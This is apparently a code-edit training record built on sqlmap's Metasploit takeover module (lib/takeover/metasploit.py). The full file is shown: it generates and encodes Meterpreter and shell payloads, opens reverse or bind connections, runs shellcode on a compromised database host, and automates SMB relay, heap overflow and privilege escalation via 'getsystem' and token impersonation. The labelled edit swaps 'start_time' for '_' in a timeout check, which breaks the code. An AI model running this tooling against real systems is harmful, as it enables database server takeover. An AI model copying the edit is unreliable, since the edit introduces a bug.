hunk.code_window:                             elif ord(char) >= 32:   # space_char
                                   inp += char
                           if len(inp) == 0 and (time.time() - start_time) > timeout:
                               break
                       if len(inp) > 0:
                           try:
                               send_all(proc, inp)
  
hunk.labels: keep keep keep replace keep keep keep keep keep
hunk.after_edit:                         if len(inp) == 0 and (time.time() - _) > timeout:
  
hunk.file_path: lib/takeover/metasploit.py
hunk.type: replace
file: #!/usr/bin/env python
  
  """
  Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
  See the file 'doc/COPYING' for copying permission
  """
  
  import os
  import re
  import sys
  import time
  
  from subprocess import PIPE
  
  from lib.core.common import dataToStdout
  from lib.core.common import Backend
  from lib.core.common import getLocalIP
  from lib.core.common import getRemoteIP
  from lib.core.common import getUnicode
  from lib.core.common import normalizePath
  from lib.core.common import ntToPosixSlashes
  from lib.core.common import pollProcess
  from lib.core.common import randomRange
  from lib.core.common import randomStr
  from lib.core.common import readInput
  from lib.core.data import conf
  from lib.core.data import logger
  from lib.core.data import paths
  from lib.core.enums import DBMS
  from lib.core.enums import OS
  from lib.core.exception import SqlmapDataException
  from lib.core.exception import SqlmapFilePathException
  from lib.core.settings import IS_WIN
  from lib.core.settings import UNICODE_ENCODING
  from lib.core.subprocessng import blockingReadFromFD
  from lib.core.subprocessng import blockingWriteToFD
  from lib.core.subprocessng import Popen as execute
  from lib.core.subprocessng import send_all
  from lib.core.subprocessng import recv_some
  
  if IS_WIN:
      import msvcrt
  else:
      from select import select
  
  class Metasploit:
      """
      This class defines methods to call Metasploit for plugins.
      """
  
      def _initVars(self):
          self.connectionStr = None
          self.lhostStr = None
          self.rhostStr = None
          self.portStr = None
          self.payloadStr = None
          self.encoderStr = None
          self.payloadConnStr = None
          self.localIP = getLocalIP()
          self.remoteIP = getRemoteIP()
          self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
          self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
          self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
  
          if IS_WIN:
              _ = normalizePath(os.path.join(conf.msfPath, "..", "scripts", "setenv.bat"))
              self._msfCli = "%s & ruby %s" % (_, self._msfCli)
              self._msfEncode = "ruby %s" % self._msfEncode
              self._msfPayload = "%s & ruby %s" % (_, self._msfPayload)
  
          self._msfPayloadsList = {
                                        "windows": {
                                                     1: ("Meterpreter (default)", "windows/meterpreter"),
                                                     2: ("Shell", "windows/shell"),
                                                     3: ("VNC", "windows/vncinject"),
                                                   },
                                        "linux":   {
                                                     1: ("Shell (default)", "linux/x86/shell"),
                                                     2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
                                                   }
                                      }
  
          self._msfConnectionsList = {
                                        "windows": {
                                                     1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
                                                     2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
                                                     3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
                                                     4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
                                                     5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
                                                   },
                                        "linux":   {
                                                     1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
                                                     2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
                                                   }
                                      }
  
          self._msfEncodersList = {
                                        "windows": {
                                                     1: ("No Encoder", "generic/none"),
                                                     2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
                                                     3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
                                                     4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
                                                     5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
                                                     6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
                                                     7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
                                                     8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
                                                     9: ("Non-Alpha Encoder", "x86/nonalpha"),
                                                    10: ("Non-Upper Encoder", "x86/nonupper"),
                                                    11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
                                                    12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
                                                    13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
                                                   }
                                      }
  
          self._msfSMBPortsList = {
                                        "windows": {
                                                     1: ("139/TCP", "139"),
                                                     2: ("445/TCP (default)", "445"),
                                                   }
                                      }
  
          self._portData = {
                              "bind": "remote port number",
                              "reverse": "local port number",
                            }
  
      def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
          if Backend.isOs(OS.WINDOWS):
              opSys = "windows"
          else:
              opSys = "linux"
  
          message = "which %s do you want to use?" % msg
  
          if lst:
              for num, data in lst[opSys].items():
                  description = data[0]
  
                  if num > maxValue:
                      maxValue = num
  
                  if "(default)" in description:
                      default = num
  
                  message += "\n[%d] %s" % (num, description)
          else:
              message += " [%d] " % default
  
          choice = readInput(message, default="%d" % default)
  
          if not choice:
              if lst:
                  choice = getUnicode(default, UNICODE_ENCODING)
              else:
                  return default
  
          elif not choice.isdigit():
              logger.warn("invalid value, only digits are allowed")
              return self._skeletonSelection(msg, lst, maxValue, default)
  
          elif int(choice) > maxValue or int(choice) < 1:
              logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue)
              return self._skeletonSelection(msg, lst, maxValue, default)
  
          choice = int(choice)
  
          if lst:
              choice = lst[opSys][choice][1]
  
          return choice
  
      def _selectSMBPort(self):
          return self._skeletonSelection("SMB port", self._msfSMBPortsList)
  
      def _selectEncoder(self, encode=True):
          # This is always the case except for --os-bof where the user can
          # choose which encoder to use. When called from --os-pwn the encoder
          # is always x86/alpha_mixed - used for sys_bineval() and
          # shellcodeexec
          if isinstance(encode, basestring):
              return encode
  
          elif encode:
              return self._skeletonSelection("payload encoding", self._msfEncodersList)
  
      def _selectPayload(self):
          if Backend.isOs(OS.WINDOWS) and conf.privEsc:
              infoMsg = "forcing Metasploit payload to Meterpreter because "
              infoMsg += "it is the only payload that can be used to "
              infoMsg += "escalate privileges via 'incognito' extension, "
              infoMsg += "'getsystem' command or post modules"
              logger.info(infoMsg)
  
              _payloadStr = "windows/meterpreter"
          else:
              _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList)
  
          if _payloadStr == "windows/vncinject":
              choose = False
  
              if Backend.isDbms(DBMS.MYSQL):
                  debugMsg = "by default MySQL on Windows runs as SYSTEM "
                  debugMsg += "user, it is likely that the the VNC "
                  debugMsg += "injection will be successful"
                  logger.debug(debugMsg)
  
              elif Backend.isDbms(DBMS.PGSQL):
                  choose = True
  
                  warnMsg = "by default PostgreSQL on Windows runs as "
                  warnMsg += "postgres user, it is unlikely that the VNC "
                  warnMsg += "injection will be successful"
                  logger.warn(warnMsg)
  
              elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                  choose = True
  
                  warnMsg = "it is unlikely that the VNC injection will be "
                  warnMsg += "successful because usually Microsoft SQL Server "
                  warnMsg += "%s runs as Network Service " % Backend.getVersion()
                  warnMsg += "or the Administrator is not logged in"
                  logger.warn(warnMsg)
  
              if choose:
                  message = "what do you want to do?\n"
                  message += "[1] Give it a try anyway\n"
                  message += "[2] Fall back to Meterpreter payload (default)\n"
                  message += "[3] Fall back to Shell payload"
  
                  while True:
                      choice = readInput(message, default="2")
  
                      if not choice or choice == "2":
                          _payloadStr = "windows/meterpreter"
  
                          break
  
                      elif choice == "3":
                          _payloadStr = "windows/shell"
  
                          break
  
                      elif choice == "1":
                          if Backend.isDbms(DBMS.PGSQL):
                              logger.warn("beware that the VNC injection might not work")
  
                              break
  
                          elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                              break
  
                      elif not choice.isdigit():
                          logger.warn("invalid value, only digits are allowed")
  
                      elif int(choice) < 1 or int(choice) > 2:
                          logger.warn("invalid value, it must be 1 or 2")
  
          if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter":
              warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "")
              warnMsg += "with the Meterpreter payload. Falling back to "
              warnMsg += "reverse TCP"
              logger.warn(warnMsg)
  
              self.connectionStr = "reverse_tcp"
  
          return _payloadStr
  
      def _selectPort(self):
          for connType, connStr in self._portData.items():
              if self.connectionStr.startswith(connType):
                  return self._skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
  
      def _selectRhost(self):
          if self.connectionStr.startswith("bind"):
              message = "what is the back-end DBMS address? [%s] " % self.remoteIP
              address = readInput(message, default=self.remoteIP)
  
              if not address:
                  address = self.remoteIP
  
              return address
  
          elif self.connectionStr.startswith("reverse"):
              return None
  
          else:
              raise SqlmapDataException("unexpected connection type")
  
      def _selectLhost(self):
          if self.connectionStr.startswith("reverse"):
              message = "what is the local address? [%s] " % self.localIP
              address = readInput(message, default=self.localIP)
  
              if not address:
                  address = self.localIP
  
              return address
  
          elif self.connectionStr.startswith("bind"):
              return None
  
          else:
              raise SqlmapDataException("unexpected connection type")
  
      def _selectConnection(self):
          return self._skeletonSelection("connection type", self._msfConnectionsList)
  
      def _prepareIngredients(self, encode=True):
          self.connectionStr = self._selectConnection()
          self.lhostStr = self._selectLhost()
          self.rhostStr = self._selectRhost()
          self.portStr = self._selectPort()
          self.payloadStr = self._selectPayload()
          self.encoderStr = self._selectEncoder(encode)
          self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
  
      def _forgeMsfCliCmd(self, exitfunc="process"):
          self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
          self._cliCmd += " EXITFUNC=%s" % exitfunc
          self._cliCmd += " LPORT=%s" % self.portStr
  
          if self.connectionStr.startswith("bind"):
              self._cliCmd += " RHOST=%s" % self.rhostStr
          elif self.connectionStr.startswith("reverse"):
              self._cliCmd += " LHOST=%s" % self.lhostStr
          else:
              raise SqlmapDataException("unexpected connection type")
  
          if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
              self._cliCmd += " DisableCourtesyShell=true"
  
          self._cliCmd += " E"
  
      def _forgeMsfCliCmdForSmbrelay(self):
          self._prepareIngredients(encode=False)
  
          self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
          self._cliCmd += " EXITFUNC=thread"
          self._cliCmd += " LPORT=%s" % self.portStr
          self._cliCmd += " SRVHOST=%s" % self.lhostStr
          self._cliCmd += " SRVPORT=%s" % self._selectSMBPort()
  
          if self.connectionStr.startswith("bind"):
              self._cliCmd += " RHOST=%s" % self.rhostStr
          elif self.connectionStr.startswith("reverse"):
              self._cliCmd += " LHOST=%s" % self.lhostStr
          else:
              raise SqlmapDataException("unexpected connection type")
  
          self._cliCmd += " E"
  
      def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
          self._payloadCmd = "%s %s" % (self._msfPayload, self.payloadConnStr)
          self._payloadCmd += " EXITFUNC=%s" % exitfunc
          self._payloadCmd += " LPORT=%s" % self.portStr
  
          if self.connectionStr.startswith("reverse"):
              self._payloadCmd += " LHOST=%s" % self.lhostStr
          elif not self.connectionStr.startswith("bind"):
              raise SqlmapDataException("unexpected connection type")
  
          if Backend.isOs(OS.LINUX) and conf.privEsc:
              self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
  
          if extra == "BufferRegister=EAX":
              self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
  
              if extra is not None:
                  self._payloadCmd += " %s" % extra
          else:
              self._payloadCmd += " X > \"%s\"" % outFile
  
      def _runMsfCliSmbrelay(self):
          self._forgeMsfCliCmdForSmbrelay()
  
          infoMsg = "running Metasploit Framework command line "
          infoMsg += "interface locally, please wait.."
          logger.info(infoMsg)
  
          logger.debug("executing local command: %s" % self._cliCmd)
          self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
  
      def _runMsfCli(self, exitfunc):
          self._forgeMsfCliCmd(exitfunc)
  
          infoMsg = "running Metasploit Framework command line "
          infoMsg += "interface locally, please wait.."
          logger.info(infoMsg)
  
          logger.debug("executing local command: %s" % self._cliCmd)
          self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
  
      def _runMsfShellcodeRemote(self):
          infoMsg = "running Metasploit Framework shellcode "
          infoMsg += "remotely via UDF 'sys_bineval', please wait.."
          logger.info(infoMsg)
  
          self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
  
      def _runMsfShellcodeRemoteViaSexec(self):
          infoMsg = "running Metasploit Framework shellcode remotely "
          infoMsg += "via shellcodeexec, please wait.."
          logger.info(infoMsg)
  
          if not Backend.isOs(OS.WINDOWS):
              self.execCmd("chmod +x %s" % self.shellcodeexecRemote, silent=True)
              cmd = "%s %s &" % (self.shellcodeexecRemote, self.shellcodeString)
          else:
              cmd = "\"%s\" %s" % (self.shellcodeexecRemote, self.shellcodeString)
  
          self.execCmd(cmd, silent=True)
  
      def _loadMetExtensions(self, proc, metSess):
          if not Backend.isOs(OS.WINDOWS):
              return
  
          send_all(proc, "use espia\n")
          send_all(proc, "use incognito\n")
          # This extension is loaded by default since Metasploit > 3.7
          #send_all(proc, "use priv\n")
          # This extension freezes the connection on 64-bit systems
          #send_all(proc, "use sniffer\n")
          send_all(proc, "sysinfo\n")
          send_all(proc, "getuid\n")
  
          if conf.privEsc:
              print
  
              infoMsg = "trying to escalate privileges using Meterpreter "
              infoMsg += "'getsystem' command which tries different "
              infoMsg += "techniques, including kitrap0d"
              logger.info(infoMsg)
  
              send_all(proc, "getsystem\n")
  
              infoMsg = "displaying the list of Access Tokens availables. "
              infoMsg += "Choose which user you want to impersonate by "
              infoMsg += "using incognito's command 'impersonate_token' if "
              infoMsg += "'getsystem' does not success to elevate privileges"
              logger.info(infoMsg)
  
              send_all(proc, "list_tokens -u\n")
              send_all(proc, "getuid\n")
  
      def _controlMsfCmd(self, proc, func):
          stdin_fd = sys.stdin.fileno()
          initiated_properly = False
  
          while True:
              returncode = proc.poll()
  
              if returncode is None:
                  # Child hasn't exited yet
                  pass
              else:
                  logger.debug("connection closed properly")
                  return returncode
  
              try:
                  if IS_WIN:
                      timeout = 3
  
                      inp = ""
                      start_time = time.time()
  
                      while True:
                          if msvcrt.kbhit():
                              char = msvcrt.getche()
  
                              if ord(char) == 13:     # enter_key
                                  break
                              elif ord(char) >= 32:   # space_char
                                  inp += char
  
                          if len(inp) == 0 and (time.time() - start_time) > timeout:
                              break
  
                      if len(inp) > 0:
                          try:
                              send_all(proc, inp)
                          except IOError:
                              # Probably the child has exited
                              pass
                  else:
                      ready_fds = select([stdin_fd], [], [], 1)
  
                      if stdin_fd in ready_fds[0]:
                          try:
                              send_all(proc, blockingReadFromFD(stdin_fd))
                          except IOError:
                              # Probably the child has exited
                              pass
  
                  out = recv_some(proc, t=.1, e=0)
                  blockingWriteToFD(sys.stdout.fileno(), out)
  
                  # Dirty hack to allow Metasploit integration to be tested
                  # in --live-test mode
                  if initiated_properly and conf.liveTest:
                      try:
                          send_all(proc, "exit\n")
                      except TypeError:
                          continue
  
                  # For --os-pwn and --os-bof
                  pwnBofCond = self.connectionStr.startswith("reverse")
                  pwnBofCond &= "Starting the payload handler" in out
  
                  # For --os-smbrelay
                  smbRelayCond = "Server started" in out
  
                  if pwnBofCond or smbRelayCond:
                      func()
  
                  if "Starting the payload handler" in out and "shell" in self.payloadStr:
                      if Backend.isOs(OS.WINDOWS):
                          send_all(proc, "whoami\n")
                      else:
                          send_all(proc, "uname -a ; id\n")
  
                      time.sleep(2)
                      initiated_properly = True
  
                  metSess = re.search("Meterpreter session ([\d]+) opened", out)
  
                  if metSess:
                      self._loadMetExtensions(proc, metSess.group(1))
  
              except EOFError:
                  returncode = proc.wait()
  
                  return returncode
  
      def createMsfShellcode(self, exitfunc, format, extra, encode):
          infoMsg = "creating Metasploit Framework multi-stage shellcode "
          logger.info(infoMsg)
  
          self._randStr = randomStr(lowercase=True)
          self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr)
  
          Metasploit._initVars(self)
          self._prepareIngredients(encode=encode)
          self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra)
  
          logger.debug("executing local command: %s" % self._payloadCmd)
          process = execute(self._payloadCmd, shell=True, stdout=None, stderr=PIPE)
  
          dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
          pollProcess(process)
          payloadStderr = process.communicate()[1]
  
          match = re.search("(Total size:|Length:|succeeded with size) ([\d]+)", payloadStderr)
  
          if match:
              payloadSize = int(match.group(2))
  
              if extra == "BufferRegister=EAX":
                  payloadSize = payloadSize / 2
  
              debugMsg = "the shellcode size is %d bytes" % payloadSize
              logger.debug(debugMsg)
          else:
              errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", " ").replace("\r", "")
              raise SqlmapFilePathException(errMsg)
  
          self._shellcodeFP = open(self._shellcodeFilePath, "rb")
          self.shellcodeString = self._shellcodeFP.read()
          self._shellcodeFP.close()
  
          os.unlink(self._shellcodeFilePath)
  
      def uploadShellcodeexec(self, web=False):
          self.shellcodeexecLocal = os.path.join(paths.SQLMAP_EXTRAS_PATH, "shellcodeexec")
  
          if Backend.isOs(OS.WINDOWS):
              self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "windows", "shellcodeexec.x%s.exe_" % "32")
          else:
              self.shellcodeexecLocal = os.path.join(self.shellcodeexecLocal, "linux", "shellcodeexec.x%s_" % Backend.getArch())
  
          __basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "")
  
          if web:
              self.shellcodeexecRemote = "%s/%s" % (self.webDirectory, __basename)
          else:
              self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename)
  
          self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote))
  
          logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote)
  
          if web:
              self.webUpload(self.shellcodeexecRemote, self.webDirectory, filepath=self.shellcodeexecLocal)
          else:
              self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary")
  
      def pwn(self, goUdf=False):
          if goUdf:
              exitfunc = "thread"
              func = self._runMsfShellcodeRemote
          else:
              exitfunc = "process"
              func = self._runMsfShellcodeRemoteViaSexec
  
          self._runMsfCli(exitfunc=exitfunc)
  
          if self.connectionStr.startswith("bind"):
              func()
  
          debugMsg = "Metasploit Framework command line interface exited "
          debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func)
          logger.debug(debugMsg)
  
          if not goUdf:
              time.sleep(1)
              self.delRemoteFile(self.shellcodeexecRemote)
  
      def smb(self):
          Metasploit._initVars(self)
          self._randFile = "tmpu%s.txt" % randomStr(lowercase=True)
  
          self._runMsfCliSmbrelay()
  
          if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
              self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self._randFile)
          else:
              self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self._randFile)
  
          debugMsg = "Metasploit Framework console exited with return "
          debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest)
          logger.debug(debugMsg)
  
      def bof(self):
          self._runMsfCli(exitfunc="seh")
  
          if self.connectionStr.startswith("bind"):
              self.spHeapOverflow()
  
          debugMsg = "Metasploit Framework command line interface exited "
          debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow)
          logger.debug(debugMsg)
  